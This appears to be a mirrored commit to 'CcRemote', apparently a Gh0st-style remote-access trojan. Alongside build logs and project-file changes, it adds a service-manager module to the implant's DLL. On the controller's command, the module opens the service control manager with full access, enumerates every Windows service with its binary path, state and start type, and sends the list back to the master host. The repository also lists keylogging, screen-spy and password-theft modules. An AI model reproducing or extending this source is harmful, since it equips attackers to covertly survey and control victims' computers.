mirror of
https://github.com/Cc28256/CcRemote.git
synced 2025-06-08 05:19:50 +00:00
服务部分功能完善,解决没有权限导致崩溃的bug
This commit is contained in:
parent
b118b49309
commit
4ef747d0db
Binary file not shown.
@ -190,6 +190,7 @@
|
||||
<ClInclude Include="common\RegEditEx.h" />
|
||||
<ClInclude Include="common\ScreenManager.h" />
|
||||
<ClInclude Include="common\ScreenSpy.h" />
|
||||
<ClInclude Include="common\ServerManager.h" />
|
||||
<ClInclude Include="common\ShellManager.h" />
|
||||
<ClInclude Include="common\SystemManager.h" />
|
||||
<ClInclude Include="common\until.h" />
|
||||
@ -262,6 +263,10 @@
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\ServerManager.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\ShellManager.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
|
@ -90,6 +90,9 @@
|
||||
<ClInclude Include="..\..\common\zlib\zlib.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\ServerManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dllmain.cpp">
|
||||
@ -155,5 +158,8 @@
|
||||
<ClCompile Include="StrCry.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\ServerManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
@ -1,3 +1,5 @@
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.lib
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.exp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
|
||||
@ -10,6 +12,7 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videomanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videocap.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\systemmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\shellmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\servermanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenspy.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditex.obj
|
||||
@ -22,7 +25,11 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audiomanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\filemanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\strcry.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.ilk
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.dll
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\ccmaindll.write.1u.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog
|
||||
|
@ -56,23 +56,23 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 's
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
KernelManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(192): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(192): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(218): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(218): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(256): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(256): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(275): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(275): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(193): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(193): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(219): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(219): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(257): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(257): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(276): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(276): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(310): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(310): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(311): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(311): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(146): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(146): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(150): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(150): warning C4309: “初始化”: 截断常量值
|
||||
KeyboardManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
|
||||
@ -107,6 +107,7 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(379): warning C4018: “>”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(400): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018: “<”: 有符号/无符号不匹配
|
||||
ServerManager.cpp
|
||||
ShellManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
|
@ -1 +1,38 @@
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.lib
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.exp
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.ipdb
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.iobj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\vc141.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\pch.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\audio.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\until.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\keyboardmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\buffer.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\videomanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\videocap.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\systemmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\shellmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\servermanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\screenspy.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\screenmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\regeditex.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\manager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\kernelmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\install.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\dialupass.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\audiomanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\filemanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\strcry.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\dllmain.obj
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.dll
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\ccmaindll.write.1u.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog
|
||||
|
@ -58,23 +58,23 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 's
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
KernelManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(192): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(192): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(218): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(218): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(256): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(256): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(275): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(275): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(193): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(193): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(219): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(219): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(257): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(257): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(276): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(276): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(310): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(310): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(311): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(311): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(146): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(146): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(150): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(150): warning C4309: “初始化”: 截断常量值
|
||||
Manager.cpp
|
||||
RegEditEx.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(10): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
@ -106,6 +106,7 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(379): warning C4018: “>”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(400): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018: “<”: 有符号/无符号不匹配
|
||||
ServerManager.cpp
|
||||
ShellManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
@ -156,6 +157,6 @@ LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略
|
||||
正在创建库 ..\..\bin\server\CcMainDll.lib 和对象 ..\..\bin\server\CcMainDll.exp
|
||||
正在生成代码
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(260): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
|
||||
All 352 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
All 358 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\CcMainDll\..\..\bin\server\CcMainDll.dll
|
||||
|
@ -94,6 +94,10 @@ void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
(LPVOID)(lpBuffer + 1), 0, NULL, true);
|
||||
Sleep(100); // 传递参数用
|
||||
break;
|
||||
case COMMAND_SERVICES: // 服务管理
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ServicesManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||
break;
|
||||
case COMMAND_OPEN_URL_SHOW: // 显示打开网页
|
||||
OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
|
||||
break;
|
||||
|
171
CcMainDll/CcMainDll/common/ServerManager.cpp
Normal file
171
CcMainDll/CcMainDll/common/ServerManager.cpp
Normal file
@ -0,0 +1,171 @@
|
||||
// ServerManager.cpp: implementation of the CServerManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "..\pch.h"
|
||||
#include "ServerManager.h"
|
||||
#include "..\..\..\common\macros.h"
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CServerManager::CServerManager(CClientSocket *pClient) : CManager(pClient)
|
||||
{
|
||||
SendServicesList();
|
||||
}
|
||||
|
||||
CServerManager::~CServerManager()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
LPBYTE CServerManager::getServerList()
|
||||
{
|
||||
LPQUERY_SERVICE_CONFIG ServicesInfo = NULL;
|
||||
LPENUM_SERVICE_STATUS lpServices = NULL;
|
||||
LPBYTE lpBuffer = NULL;
|
||||
DWORD nSize = 0;
|
||||
DWORD n;
|
||||
DWORD nResumeHandle = 0;
|
||||
DWORD dwServiceType = SERVICE_WIN32;
|
||||
DWORD dwLength = 0;
|
||||
DWORD dwOffset = 0;
|
||||
char runway[256] = {0};
|
||||
char autorun[256] = {0};
|
||||
BOOL isAalid = TRUE;
|
||||
|
||||
SC_HANDLE schSCManager = NULL;
|
||||
BOOL Flag = FALSE;
|
||||
|
||||
if((schSCManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL)
|
||||
{
|
||||
OutputDebugString("OpenSCManager Error\n");
|
||||
}
|
||||
lpServices = (LPENUM_SERVICE_STATUS) LocalAlloc(LPTR, 64*1024); // Allocate Ram
|
||||
|
||||
EnumServicesStatus(schSCManager,
|
||||
dwServiceType,
|
||||
SERVICE_STATE_ALL,
|
||||
(LPENUM_SERVICE_STATUS)lpServices,
|
||||
64 * 1024,
|
||||
&nSize,
|
||||
&n,
|
||||
&nResumeHandle);
|
||||
|
||||
lpBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH);
|
||||
|
||||
lpBuffer[0] = TOKEN_SERVERLIST;
|
||||
dwOffset = 1;
|
||||
|
||||
for (unsigned long i = 0; i < n; i++) // Display The Services,显示所有的服务
|
||||
{
|
||||
SC_HANDLE service = NULL;
|
||||
DWORD nResumeHandle = 0;
|
||||
|
||||
service=OpenService(schSCManager,lpServices[i].lpServiceName,SERVICE_ALL_ACCESS);//打开当前指定服务的句柄
|
||||
|
||||
if (service == NULL)
|
||||
isAalid = false;
|
||||
else
|
||||
isAalid = true;
|
||||
|
||||
|
||||
ServicesInfo = (LPQUERY_SERVICE_CONFIG) LocalAlloc(LPTR, 4*1024); // Allocate Ram
|
||||
|
||||
QueryServiceConfig(service,ServicesInfo,4*1024,&nResumeHandle); //查询服务的启动类别
|
||||
|
||||
if ( lpServices[i].ServiceStatus.dwCurrentState!=SERVICE_STOPPED) //启动状态
|
||||
{
|
||||
ZeroMemory(runway, sizeof(runway));
|
||||
lstrcat(runway,"启动");
|
||||
}
|
||||
else
|
||||
{
|
||||
ZeroMemory(runway, sizeof(runway));
|
||||
lstrcat(runway,"停止");
|
||||
}
|
||||
|
||||
if(2==ServicesInfo->dwStartType) //启动类别
|
||||
{
|
||||
ZeroMemory(autorun, sizeof(autorun));
|
||||
lstrcat(autorun,"自动");
|
||||
}
|
||||
if(3==ServicesInfo->dwStartType)
|
||||
{
|
||||
ZeroMemory(autorun, sizeof(autorun));
|
||||
lstrcat(autorun,"手动");
|
||||
}
|
||||
if(4==ServicesInfo->dwStartType)
|
||||
{
|
||||
ZeroMemory(autorun, sizeof(autorun));
|
||||
lstrcat(autorun,"禁用");
|
||||
}
|
||||
if (isAalid)
|
||||
{
|
||||
dwLength = sizeof(DWORD) + lstrlen(lpServices[i].lpDisplayName)
|
||||
+ lstrlen(ServicesInfo->lpBinaryPathName) + lstrlen(lpServices[i].lpServiceName)
|
||||
+ lstrlen(runway) + lstrlen(autorun) + 2;
|
||||
}
|
||||
else
|
||||
{
|
||||
dwLength = sizeof(DWORD) + lstrlen(lpServices[i].lpDisplayName)
|
||||
+ lstrlen(lpServices[i].lpServiceName)
|
||||
+ lstrlen(runway) + lstrlen(autorun) + lstrlen("No Access") + 2;
|
||||
}
|
||||
|
||||
// 缓冲区太小,再重新分配下
|
||||
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
|
||||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
|
||||
memcpy(lpBuffer + dwOffset, lpServices[i].lpDisplayName, lstrlen(lpServices[i].lpDisplayName) + 1);
|
||||
dwOffset += lstrlen(lpServices[i].lpDisplayName) + 1;//真实名称
|
||||
|
||||
memcpy(lpBuffer + dwOffset, lpServices[i].lpServiceName, lstrlen(lpServices[i].lpServiceName) + 1);
|
||||
dwOffset += lstrlen(lpServices[i].lpServiceName) + 1;//显示名称
|
||||
if (isAalid)
|
||||
{
|
||||
memcpy(lpBuffer + dwOffset, ServicesInfo->lpBinaryPathName, lstrlen(ServicesInfo->lpBinaryPathName) + 1);
|
||||
dwOffset += lstrlen(ServicesInfo->lpBinaryPathName) + 1;//路径
|
||||
|
||||
memcpy(lpBuffer + dwOffset, runway, lstrlen(runway) + 1);//运行状态
|
||||
dwOffset += lstrlen(runway) + 1;
|
||||
|
||||
memcpy(lpBuffer + dwOffset, autorun, lstrlen(autorun) + 1);//自启动状态
|
||||
dwOffset += lstrlen(autorun) + 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
ZeroMemory(runway, sizeof(runway));
|
||||
lstrcat(runway, "无权");
|
||||
ZeroMemory(autorun, sizeof(autorun));
|
||||
lstrcat(autorun, "无权");
|
||||
|
||||
memcpy(lpBuffer + dwOffset, "No Access", lstrlen("No Access") + 1);//路径
|
||||
dwOffset += lstrlen("No Access") + 1;
|
||||
|
||||
memcpy(lpBuffer + dwOffset, runway, lstrlen(runway) + 1);//运行状态
|
||||
dwOffset += lstrlen(runway) + 1;
|
||||
|
||||
memcpy(lpBuffer + dwOffset, autorun, lstrlen(autorun) + 1);//自启动状态
|
||||
dwOffset += lstrlen(autorun) + 1;
|
||||
}
|
||||
}
|
||||
|
||||
CloseServiceHandle(schSCManager);
|
||||
|
||||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
|
||||
return lpBuffer;
|
||||
|
||||
}
|
||||
|
||||
void CServerManager::SendServicesList()
|
||||
{
|
||||
UINT nRet = -1;
|
||||
LPBYTE lpBuffer = getServerList();
|
||||
if (lpBuffer == NULL)
|
||||
return;
|
||||
|
||||
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
|
||||
LocalFree(lpBuffer);
|
||||
}
|
25
CcMainDll/CcMainDll/common/ServerManager.h
Normal file
25
CcMainDll/CcMainDll/common/ServerManager.h
Normal file
@ -0,0 +1,25 @@
|
||||
// ServerManager.h: interface for the CServerManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_SERVERMANAGER_H__BAE27F8C_8A1C_4D5B_89F6_FA138B65470E__INCLUDED_)
|
||||
#define AFX_SERVERMANAGER_H__BAE27F8C_8A1C_4D5B_89F6_FA138B65470E__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
|
||||
class CServerManager : public CManager
|
||||
{
|
||||
public:
|
||||
CServerManager(CClientSocket *pClient);
|
||||
virtual ~CServerManager();
|
||||
|
||||
protected:
|
||||
void SendServicesList();
|
||||
LPBYTE getServerList();
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SERVERMANAGER_H__BAE27F8C_8A1C_4D5B_89F6_FA138B65470E__INCLUDED_)
|
@ -8,6 +8,7 @@
|
||||
#include "AudioManager.h"
|
||||
#include "SystemManager.h"
|
||||
#include "KeyboardManager.h"
|
||||
#include "ServerManager.h"
|
||||
#include "..\StrCry.h"
|
||||
#include "until.h"
|
||||
#include "install.h"
|
||||
@ -321,4 +322,20 @@ void SetHostID(LPCTSTR lpServiceName, LPCTSTR lpHostID)
|
||||
}
|
||||
|
||||
|
||||
//服务管理线程
|
||||
DWORD WINAPI Loop_ServicesManager(SOCKET sRemote)
|
||||
{
|
||||
OutputDebugString("DWORD WINAPI Loop_ServicesManager(SOCKET sRemote)");
|
||||
CClientSocket socketClient;
|
||||
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
|
||||
return -1;
|
||||
|
||||
CServerManager manager(&socketClient);
|
||||
|
||||
socketClient.run_event_loop();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
#endif // !defined(AFX_LOOP_H_INCLUDED)
|
||||
|
Binary file not shown.
Loading…
x
Reference in New Issue
Block a user